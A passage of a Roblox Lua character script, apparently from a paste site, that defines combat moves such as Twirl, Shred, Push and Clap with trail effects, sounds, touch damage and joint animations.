  3782. Humanoid.WalkSpeed=12
  3783. attack=false
  3784. con1:disconnect()
  3785. con2:disconnect()
  3786. if anim then
  3787. anim.Disabled=false
  3788. end
  3789. if TrailDeb == true then
  3790. TrailDeb = false
  3791. end
  3792. end
  3793.  
  3794. function Twirl()
  3795. mana=mana-50
  3796. attack=true
  3797. if TrailDeb == false then
  3798. TrailDeb = true
  3799. end
  3800.  
  3801.  
  3802. coroutine.wrap(function()
  3803. local Old = Handle2.CFrame.p
  3804. while wait()do
  3805. if not TrailDeb then break end
  3806. local New = Handle2.CFrame.p
  3807. local Mag =(Old -New).magnitude
  3808. local Dis =(Old +New)/2
  3809. local Trail = Instance.new("Part",Character)
  3810. Trail.Material = "Neon"
  3811. Trail.Anchored = true
  3812. Trail.CanCollide = false
  3813. Trail.BrickColor = TorsoColor
  3814. Trail.Size = Vector3.new(0.2,Mag,0.2)
  3815. Trail.TopSurface = 0
  3816. Trail.BottomSurface = 0
  3817. Trail.formFactor = "Custom"
  3818. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  3819. local ms = Instance.new("BlockMesh",Trail)
  3820. ms.Scale = Vector3.new(1,1,1)
  3821. local TM = Instance.new("CylinderMesh",Trail)
  3822. TM.Scale = Vector3.new(1,1,1)
  3823. Old = New
  3824. coroutine.wrap(function()
  3825. for i = 1,0,-0.1 do
  3826. wait()
  3827. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  3828. end
  3829. Trail:remove()
  3830. end)()
  3831. coroutine.wrap(function()
  3832. for i = 1,10 do
  3833. wait()
  3834. Trail.Transparency = Trail.Transparency +0.1
  3835. end end)()end end)()
  3836. coroutine.wrap(function()
  3837. local Old = Handle.CFrame.p
  3838. while wait()do
  3839. if not TrailDeb then break end
  3840. local New = Handle.CFrame.p
  3841. local Mag =(Old -New).magnitude
  3842. local Dis =(Old +New)/2
  3843. local Trail = Instance.new("Part",Character)
  3844. Trail.Material = "Neon"
  3845. Trail.Anchored = true
  3846. Trail.CanCollide = false
  3847. Trail.BrickColor = TorsoColor
  3848. Trail.Size = Vector3.new(0.2,Mag,0.2)
  3849. Trail.TopSurface = 0
  3850. Trail.BottomSurface = 0
  3851. Trail.formFactor = "Custom"
  3852. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  3853. local ms = Instance.new("BlockMesh",Trail)
  3854. ms.Scale = Vector3.new(1,1,1)
  3855. local TM = Instance.new("CylinderMesh",Trail)
  3856. TM.Scale = Vector3.new(1,1,1)
  3857. Old = New
  3858. coroutine.wrap(function()
  3859. for i = 1,0,-0.1 do
  3860. wait()
  3861. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  3862. end
  3863. Trail:remove()
  3864. end)()
  3865. coroutine.wrap(function()
  3866. for i = 1,10 do
  3867. wait()
  3868. Trail.Transparency = Trail.Transparency +0.1
  3869. end end)()end end)()
  3870. Footsteps:Stop()
  3871. Footsteps2:Stop()
  3872. con1=Gear2.Touched:connect(Damage_OnTouch)
  3873. con2=Gear.Touched:connect(Damage_OnTouch)
  3874. so("http://www.roblox.com/asset/?id=159882598",Torso,1,1)
  3875. for i=0,1,0.1 do
  3876. swait()
  3877. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
  3878. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3879. Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3880. Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  3881. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  3882. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  3883. end
  3884. if anim then
  3885. anim.Disabled=true
  3886. end
  3887. so("http://www.roblox.com/asset/?id=231917758",LeftArm,1,1)
  3888. so("http://www.roblox.com/asset/?id=231917758",RightArm,1,0.8)
  3889. for i=0,1,0.05 do
  3890. swait()
  3891. Torso.Velocity=RootPart.CFrame.lookVector*80
  3892. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(90),math.rad(0),math.rad(0+360*i)),.3)
  3893. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3894. Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3895. Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  3896. RW.C0=clerp(RW.C0,cf(1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  3897. LW.C0=clerp(LW.C0,cf(-1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  3898. end
  3899. so("http://www.roblox.com/asset/?id=231917758",LeftArm,1,1)
  3900. so("http://www.roblox.com/asset/?id=231917758",RightArm,1,0.8)
  3901. for i=0,1,0.05 do
  3902. swait()
  3903. Torso.Velocity=RootPart.CFrame.lookVector*80
  3904. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(90),math.rad(0),math.rad(0+360*i)),.3)
  3905. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3906. Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3907. Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  3908. RW.C0=clerp(RW.C0,cf(1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  3909. LW.C0=clerp(LW.C0,cf(-1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  3910. end
  3911. so("http://www.roblox.com/asset/?id=231917758",LeftArm,1,1)
  3912. so("http://www.roblox.com/asset/?id=231917758",RightArm,1,0.8)
  3913. for i=0,1,0.05 do
  3914. swait()
  3915. Torso.Velocity=RootPart.CFrame.lookVector*80
  3916. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(90),math.rad(0),math.rad(0+360*i)),.3)
  3917. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3918. Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3919. Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  3920. RW.C0=clerp(RW.C0,cf(1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  3921. LW.C0=clerp(LW.C0,cf(-1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  3922. end
  3923. so("http://www.roblox.com/asset/?id=231917758",LeftArm,1,1)
  3924. so("http://www.roblox.com/asset/?id=231917758",RightArm,1,0.8)
  3925. for i=0,1,0.05 do
  3926. swait()
  3927. Torso.Velocity=RootPart.CFrame.lookVector*80
  3928. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(90),math.rad(0),math.rad(0+360*i)),.3)
  3929. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3930. Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3931. Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  3932. RW.C0=clerp(RW.C0,cf(1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  3933. LW.C0=clerp(LW.C0,cf(-1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  3934. end
  3935. --dmgstop()
  3936. Humanoid.WalkSpeed=12
  3937. attack=false
  3938. con1:disconnect()
  3939. con2:disconnect()
  3940. if anim then
  3941. anim.Disabled=false
  3942. end
  3943. if TrailDeb == true then
  3944. TrailDeb = false
  3945. end
  3946. end
  3947.  
  3948. function Shred()
  3949. attack=true
  3950. mana=mana-100
  3951. if TrailDeb == false then
  3952. TrailDeb = true
  3953. end
  3954.  
  3955.  
  3956. coroutine.wrap(function()
  3957. local Old = Handle2.CFrame.p
  3958. while wait()do
  3959. if not TrailDeb then break end
  3960. local New = Handle2.CFrame.p
  3961. local Mag =(Old -New).magnitude
  3962. local Dis =(Old +New)/2
  3963. local Trail = Instance.new("Part",Character)
  3964. Trail.Material = "Neon"
  3965. Trail.Anchored = true
  3966. Trail.CanCollide = false
  3967. Trail.BrickColor = TorsoColor
  3968. Trail.Size = Vector3.new(0.2,Mag,0.2)
  3969. Trail.TopSurface = 0
  3970. Trail.BottomSurface = 0
  3971. Trail.formFactor = "Custom"
  3972. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  3973. local ms = Instance.new("BlockMesh",Trail)
  3974. ms.Scale = Vector3.new(1,1,1)
  3975. local TM = Instance.new("CylinderMesh",Trail)
  3976. TM.Scale = Vector3.new(1,1,1)
  3977. Old = New
  3978. coroutine.wrap(function()
  3979. for i = 1,0,-0.1 do
  3980. wait()
  3981. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  3982. end
  3983. Trail:remove()
  3984. end)()
  3985. coroutine.wrap(function()
  3986. for i = 1,10 do
  3987. wait()
  3988. Trail.Transparency = Trail.Transparency +0.1
  3989. end end)()end end)()
  3990. coroutine.wrap(function()
  3991. local Old = Handle.CFrame.p
  3992. while wait()do
  3993. if not TrailDeb then break end
  3994. local New = Handle.CFrame.p
  3995. local Mag =(Old -New).magnitude
  3996. local Dis =(Old +New)/2
  3997. local Trail = Instance.new("Part",Character)
  3998. Trail.Material = "Neon"
  3999. Trail.Anchored = true
  4000. Trail.CanCollide = false
  4001. Trail.BrickColor = TorsoColor
  4002. Trail.Size = Vector3.new(0.2,Mag,0.2)
  4003. Trail.TopSurface = 0
  4004. Trail.BottomSurface = 0
  4005. Trail.formFactor = "Custom"
  4006. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  4007. local ms = Instance.new("BlockMesh",Trail)
  4008. ms.Scale = Vector3.new(1,1,1)
  4009. local TM = Instance.new("CylinderMesh",Trail)
  4010. TM.Scale = Vector3.new(1,1,1)
  4011. Old = New
  4012. coroutine.wrap(function()
  4013. for i = 1,0,-0.1 do
  4014. wait()
  4015. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  4016. end
  4017. Trail:remove()
  4018. end)()
  4019. coroutine.wrap(function()
  4020. for i = 1,10 do
  4021. wait()
  4022. Trail.Transparency = Trail.Transparency +0.1
  4023. end end)()end end)()
  4024. Footsteps:Stop()
  4025. Footsteps2:Stop()
  4026. con1=Gear2.Touched:connect(Damage_OnTouch)
  4027. con2=Gear.Touched:connect(Damage_OnTouch)
  4028. so("http://www.roblox.com/asset/?id=159882578",Torso,1,1)
  4029. for i=0,1,0.1 do
  4030. swait()
  4031. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,3)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
  4032. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4033. Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4034. Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  4035. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  4036. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  4037. end
  4038. if anim then
  4039. anim.Disabled=true
  4040. end
  4041. for i=0,1,0.05 do
  4042. swait()
  4043. Torso.Velocity=RootPart.CFrame.lookVector*20
  4044. so("http://www.roblox.com/asset/?id=231917758",LeftArm,0.2,1.2)
  4045. so("http://www.roblox.com/asset/?id=231917758",RightArm,0.2,1)
  4046. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,3)*angles(math.rad(0),math.rad(0),math.rad(0+40*i)),.5)
  4047. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4048. Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4049. Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  4050. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  4051. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  4052. end
  4053. for i=0,1,0.05 do
  4054. swait()
  4055. Torso.Velocity=RootPart.CFrame.lookVector*40
  4056. so("http://www.roblox.com/asset/?id=231917758",LeftArm,0.2,1.2)
  4057. so("http://www.roblox.com/asset/?id=231917758",RightArm,0.2,1)
  4058. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,3)*angles(math.rad(0),math.rad(0),math.rad(41+80*i)),.5)
  4059. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4060. Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4061. Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  4062. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  4063. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  4064. end
  4065. for i=0,1,0.05 do
  4066. swait()
  4067. Torso.Velocity=RootPart.CFrame.lookVector*60
  4068. so("http://www.roblox.com/asset/?id=231917758",LeftArm,0.2,1.2)
  4069. so("http://www.roblox.com/asset/?id=231917758",RightArm,0.2,1)
  4070. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,3)*angles(math.rad(0),math.rad(0),math.rad(82+120*i)),.5)
  4071. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4072. Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4073. Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  4074. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  4075. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  4076. end
  4077. so("http://www.roblox.com/asset/?id=159882625",Torso,1,1)
  4078. so("http://www.roblox.com/asset/?id=231917758",Torso,1,0.1)
  4079. so("http://www.roblox.com/asset/?id=231917758",Torso,1,0.1)
  4080. so("http://www.roblox.com/asset/?id=231917758",Torso,1,0.1)
  4081. so("http://www.roblox.com/asset/?id=231917758",Torso,1,0.1)
  4082. for i=0,1,0.05 do
  4083. swait()
  4084. Torso.Velocity=RootPart.CFrame.lookVector*80
  4085. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,3)*angles(math.rad(0),math.rad(0),math.rad(124+160*i)),.5)
  4086. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4087. Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4088. Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  4089. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  4090. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  4091. end
  4092. for i=0,1,0.005 do
  4093. swait()
  4094. Torso.Velocity=RootPart.CFrame.lookVector*100
  4095. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,3)*angles(math.rad(0),math.rad(0),math.rad(168+4200*i)),.5)
  4096. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4097. Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4098. Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  4099. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  4100. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  4101. end
  4102. --dmgstop()
  4103. Humanoid.WalkSpeed=12
  4104. attack=false
  4105. con1:disconnect()
  4106. con2:disconnect()
  4107. if anim then
  4108. anim.Disabled=false
  4109. end
  4110. if TrailDeb == true then
  4111. TrailDeb = false
  4112. end
  4113. end
  4114.  
  4115. function Push()
  4116. attack=true
  4117. mana=mana-20
  4118. if TrailDeb == false then
  4119. TrailDeb = true
  4120. end
  4121.  
  4122.  
  4123. coroutine.wrap(function()
  4124. local Old = Handle2.CFrame.p
  4125. while wait()do
  4126. if not TrailDeb then break end
  4127. local New = Handle2.CFrame.p
  4128. local Mag =(Old -New).magnitude
  4129. local Dis =(Old +New)/2
  4130. local Trail = Instance.new("Part",Character)
  4131. Trail.Material = "Neon"
  4132. Trail.Anchored = true
  4133. Trail.CanCollide = false
  4134. Trail.BrickColor = TorsoColor
  4135. Trail.Size = Vector3.new(0.2,Mag,0.2)
  4136. Trail.TopSurface = 0
  4137. Trail.BottomSurface = 0
  4138. Trail.formFactor = "Custom"
  4139. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  4140. local ms = Instance.new("BlockMesh",Trail)
  4141. ms.Scale = Vector3.new(1,1,1)
  4142. local TM = Instance.new("CylinderMesh",Trail)
  4143. TM.Scale = Vector3.new(1,1,1)
  4144. Old = New
  4145. coroutine.wrap(function()
  4146. for i = 1,0,-0.1 do
  4147. wait()
  4148. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  4149. end
  4150. Trail:remove()
  4151. end)()
  4152. coroutine.wrap(function()
  4153. for i = 1,10 do
  4154. wait()
  4155. Trail.Transparency = Trail.Transparency +0.1
  4156. end end)()end end)()
  4157. coroutine.wrap(function()
  4158. local Old = Handle.CFrame.p
  4159. while wait()do
  4160. if not TrailDeb then break end
  4161. local New = Handle.CFrame.p
  4162. local Mag =(Old -New).magnitude
  4163. local Dis =(Old +New)/2
  4164. local Trail = Instance.new("Part",Character)
  4165. Trail.Material = "Neon"
  4166. Trail.Anchored = true
  4167. Trail.CanCollide = false
  4168. Trail.BrickColor = TorsoColor
  4169. Trail.Size = Vector3.new(0.2,Mag,0.2)
  4170. Trail.TopSurface = 0
  4171. Trail.BottomSurface = 0
  4172. Trail.formFactor = "Custom"
  4173. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  4174. local ms = Instance.new("BlockMesh",Trail)
  4175. ms.Scale = Vector3.new(1,1,1)
  4176. local TM = Instance.new("CylinderMesh",Trail)
  4177. TM.Scale = Vector3.new(1,1,1)
  4178. Old = New
  4179. coroutine.wrap(function()
  4180. for i = 1,0,-0.1 do
  4181. wait()
  4182. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  4183. end
  4184. Trail:remove()
  4185. end)()
  4186. coroutine.wrap(function()
  4187. for i = 1,10 do
  4188. wait()
  4189. Trail.Transparency = Trail.Transparency +0.1
  4190. end end)()end end)()
  4191. con1=Gear2.Touched:connect(Damage_OnTouch)
  4192. con2=Gear.Touched:connect(Damage_OnTouch)
  4193. for i=0,1,0.1 do
  4194. swait()
  4195. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
  4196. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
  4197. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4198. Handleweld.C0=clerp(Handleweld.C0,cf(-5,0,-10)*angles(math.rad(20),math.rad(-20),math.rad(0)),.2)
  4199. Handle2weld.C0=clerp(Handle2weld.C0,cf(5,0,-10)*angles(math.rad(20),math.rad(20),math.rad(0)),.2)
  4200. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-20)),.3)
  4201. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(20)),.3)
  4202. end
  4203. so("http://www.roblox.com/asset/?id=231917758",Handle2,1,.8)
  4204. so("http://www.roblox.com/asset/?id=231917758",Handle,1,1)
  4205. so("http://www.roblox.com/asset/?id=159882481",Torso,1,1)
  4206. for i=0,1,0.1 do
  4207. swait()
  4208. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
  4209. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
  4210. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4211. Handleweld.C0=clerp(Handleweld.C0,cf(-4,0,-20)*angles(math.rad(20),math.rad(-20),math.rad(0)),.2)
  4212. Handle2weld.C0=clerp(Handle2weld.C0,cf(4,0,-20)*angles(math.rad(20),math.rad(20),math.rad(0)),.2)
  4213. RW.C0=clerp(RW.C0,cf(1,0.5,-1)*angles(math.rad(90),math.rad(0),math.rad(-20)),.3)
  4214. LW.C0=clerp(LW.C0,cf(-1,0.5,-1)*angles(math.rad(90),math.rad(0),math.rad(20)),.3)
  4215. end
  4216. --dmgstop()
  4217. attack=false
  4218. con1:disconnect()
  4219. con2:disconnect()
  4220. if TrailDeb == true then
  4221. TrailDeb = false
  4222. end
  4223. end
  4224.  
  4225. function Clap()
  4226. attack=true
  4227. mana=mana-20
  4228. if TrailDeb == false then
  4229. TrailDeb = true
  4230. end
  4231.  
  4232.  
  4233. coroutine.wrap(function()
  4234. local Old = Handle2.CFrame.p
  4235. while wait()do
  4236. if not TrailDeb then break end
  4237. local New = Handle2.CFrame.p
  4238. local Mag =(Old -New).magnitude
  4239. local Dis =(Old +New)/2
  4240. local Trail = Instance.new("Part",Character)
  4241. Trail.Material = "Neon"
  4242. Trail.Anchored = true
  4243. Trail.CanCollide = false
  4244. Trail.BrickColor = TorsoColor
  4245. Trail.Size = Vector3.new(0.2,Mag,0.2)
  4246. Trail.TopSurface = 0
  4247. Trail.BottomSurface = 0
  4248. Trail.formFactor = "Custom"
  4249. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  4250. local ms = Instance.new("BlockMesh",Trail)
  4251. ms.Scale = Vector3.new(1,1,1)
  4252. local TM = Instance.new("CylinderMesh",Trail)
  4253. TM.Scale = Vector3.new(1,1,1)
  4254. Old = New
  4255. coroutine.wrap(function()
  4256. for i = 1,0,-0.1 do
  4257. wait()
  4258. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  4259. end
  4260. Trail:remove()
  4261. end)()
  4262. coroutine.wrap(function()
  4263. for i = 1,10 do
  4264. wait()
  4265. Trail.Transparency = Trail.Transparency +0.1
  4266. end end)()end end)()
  4267. coroutine.wrap(function()
  4268. local Old = Handle.CFrame.p
  4269. while wait()do
  4270. if not TrailDeb then break end
  4271. local New = Handle.CFrame.p
  4272. local Mag =(Old -New).magnitude
  4273. local Dis =(Old +New)/2
  4274. local Trail = Instance.new("Part",Character)
  4275. Trail.Material = "Neon"
  4276. Trail.Anchored = true
  4277. Trail.CanCollide = false
  4278. Trail.BrickColor = TorsoColor
  4279. Trail.Size = Vector3.new(0.2,Mag,0.2)
  4280. Trail.TopSurface = 0
  4281. Trail.BottomSurface = 0
  4282. Trail.formFactor = "Custom"
  4283. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  4284. local ms = Instance.new("BlockMesh",Trail)
  4285. ms.Scale = Vector3.new(1,1,1)
  4286. local TM = Instance.new("CylinderMesh",Trail)
  4287. TM.Scale = Vector3.new(1,1,1)
  4288. Old = New
  4289. coroutine.wrap(function()
  4290. for i = 1,0,-0.1 do
  4291. wait()
  4292. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  4293. end
  4294. Trail:remove()
  4295. end)()
  4296. coroutine.wrap(function()
  4297. for i = 1,10 do
  4298. wait()
  4299. Trail.Transparency = Trail.Transparency +0.1
  4300. end end)()end end)()
  4301. con1=Gear2.Touched:connect(Damage_OnTouch)
  4302. con2=Gear.Touched:connect(Damage_OnTouch)
  4303. so("http://www.roblox.com/asset/?id=159882584",Torso,1,0.9)
  4304. for i=0,1,0.08 do
  4305. swait()
  4306. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
  4307. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
  4308. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4309. Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,1,-5)*angles(math.rad(0),math.rad(-40),math.rad(20)),.2)
  4310. Handleweld.C0=clerp(Handleweld.C0,cf(5,1,-5)*angles(math.rad(0),math.rad(40),math.rad(-20)),.2)
  4311. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*euler(-30,0,-20),.3)
  4312. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*euler(-30,0,20),.3)
  4313. end
  4314. so("http://www.roblox.com/asset/?id=231917758",Handle2,1,.8)
  4315. so("http://www.roblox.com/asset/?id=231917758",Handle,1,1)
  4316. for i=0,1,0.08 do
  4317. swait()
  4318. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
  4319. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
  4320. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4321. Handle2weld.C0=clerp(Handle2weld.C0,cf(4,1,-5)*angles(math.rad(0),math.rad(-43),math.rad(20)),.2)
  4322. Handleweld.C0=clerp(Handleweld.C0,cf(-4,1,-5)*angles(math.rad(0),math.rad(43),math.rad(-20)),.2)
  4323. LW.C0=clerp(LW.C0,cf(-1,0.5,-1)*euler(-30,0,20),.3)
  4324. RW.C0=clerp(RW.C0,cf(1,0.5,-1)*euler(-30,0,-20),.3)
  4325. end
  4326. --dmgstop()
  4327. attack=false
  4328. con1:disconnect()
  4329. con2:disconnect()
  4330. if TrailDeb == true then
  4331. TrailDeb = false
  4332. end
  4333. end
  4334.  
  4335. function Hai()
  4336. attack=true
  4337. Humanoid.WalkSpeed=0
  4338. so("http://www.roblox.com/asset/?id=159882567",Torso,1,1)
  4339. for i=0,1,0.1 do
  4340. swait()
  4341. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
  4342. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
  4343. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4344. Handleweld.C0=clerp(Handleweld.C0,cf(0,5,3)*angles(math.rad(20),math.rad(-20),math.rad(20)),.2)
  4345. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(5),math.rad(0),math.rad(0)),.2)
  4346. RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
  4347. LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
  4348. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(170),math.rad(0),math.rad(0)),.3)
  4349. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(10),math.rad(0),math.rad(-16)),.3)
  4350. end
  4351. so("http://www.roblox.com/asset/?id=231917758",Handle,1,.8)
  4352. for i=0,1,0.1 do
  4353. swait()
  4354. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
